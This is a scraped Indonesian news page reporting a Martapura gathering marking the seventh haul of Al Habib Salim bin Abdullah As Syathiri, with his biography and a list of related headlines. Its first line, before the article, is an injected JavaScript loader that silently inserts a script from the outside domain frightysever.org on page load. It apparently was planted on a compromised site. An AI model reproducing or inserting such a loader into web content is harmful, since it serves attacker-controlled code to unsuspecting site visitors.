(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Suasana khusyuk tergambar di Majelis Mahabbatussholihin, Rumah Kaca, Jalan Pendidikan Sekumpul, Martapura saat digelar peringatan haul ke 7 Al Habib Salim bin Abdullah As Syathiri, Selasa (3/12/2024) malam.
Meski diguyur hujan, kegiatan tetap berlangsung khusyuk, diawali pembacaan surah Yasin, dirangkai pembacaan dalail khairat, maulid habsyi, dilanjutkan manaqib serta diakhiri tahlil dan doa.
Wakil Bupati Banjar Habib Idrus Al Habsyi bergabung dengan para habaib, alim ulama, tokoh agama, tokoh masyarakat serta ratusan orang menghadiri haul tersebut.
Dalam manaqib yang disampaikan Guru Syarif Bustomi atau yang dikenal Guru Oton, Al Habib Salim bin Abdullah As Syathiri adalah sosok yang sangat mengikuti jejak orang tuanya. Diantaranya beliau seorang penuntut ilmu yang gigih, mujtahid mempunyai tarikat yang mana saat beliau menuntut ilmu di kota Makkah tidak lebih tidur siang atau malam dari dua jam.
“Dalam keilmuannya beliau mendapat tingkatan yang tinggi, sehingga kebesaran beliau diakui oleh para ulama dan penguasa. Beliau dicintai dan diterima oleh segala kalangan. Berhasil mengkader beberapa ulama besar dan memakaikan baju sufi untuk kalangan khusus dan umum,” ujar dia.
Diungkapkan, Al Habib Salim dilahirkan di Kota Tarim Hadramaut, Yaman pada tahun 1357 Hijriah, tumbuh besar dalam lingkungan yang salih dan baik. Habib Salim menimba ilmu kepada para ulama salih di zamannya, yang notabenenya adalah murid dari ayahandanya sendiri, Syaikhul Islam Habib Abdullah bin Umar Asy-Syatiri.
Habib Salim lanjutnya, telah berguru kepada 100 ulama lebih di berbagai disiplin ilmu, di antara gurunya yang termasyhur ialah, Sayyid Alawi bin Abdullah bin Syihabuddin, Sayyid Muhammad bin Salim bin Hafidz (As-Syahid), Sayyid Abdul Qodir bin Ahmad As-Segaf dan lainnya.
Selain melazimi ulama-ulama Hadramaut dan Haramain, Habib Salim juga sempat menimba ilmu falak kepada Syaikh Abdul Hamid dan Syaikh Muhammad bin Yasin Al-Fadani, yang keduanya itu berasal dari Indonesia.
Habib Salim wafat pada 17 Februari 2018 silam pada usia 80 tahun dan dimakamkan di pemakaman Ma’ala, Mekkah, Saudi Arabia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More
This website uses cookies.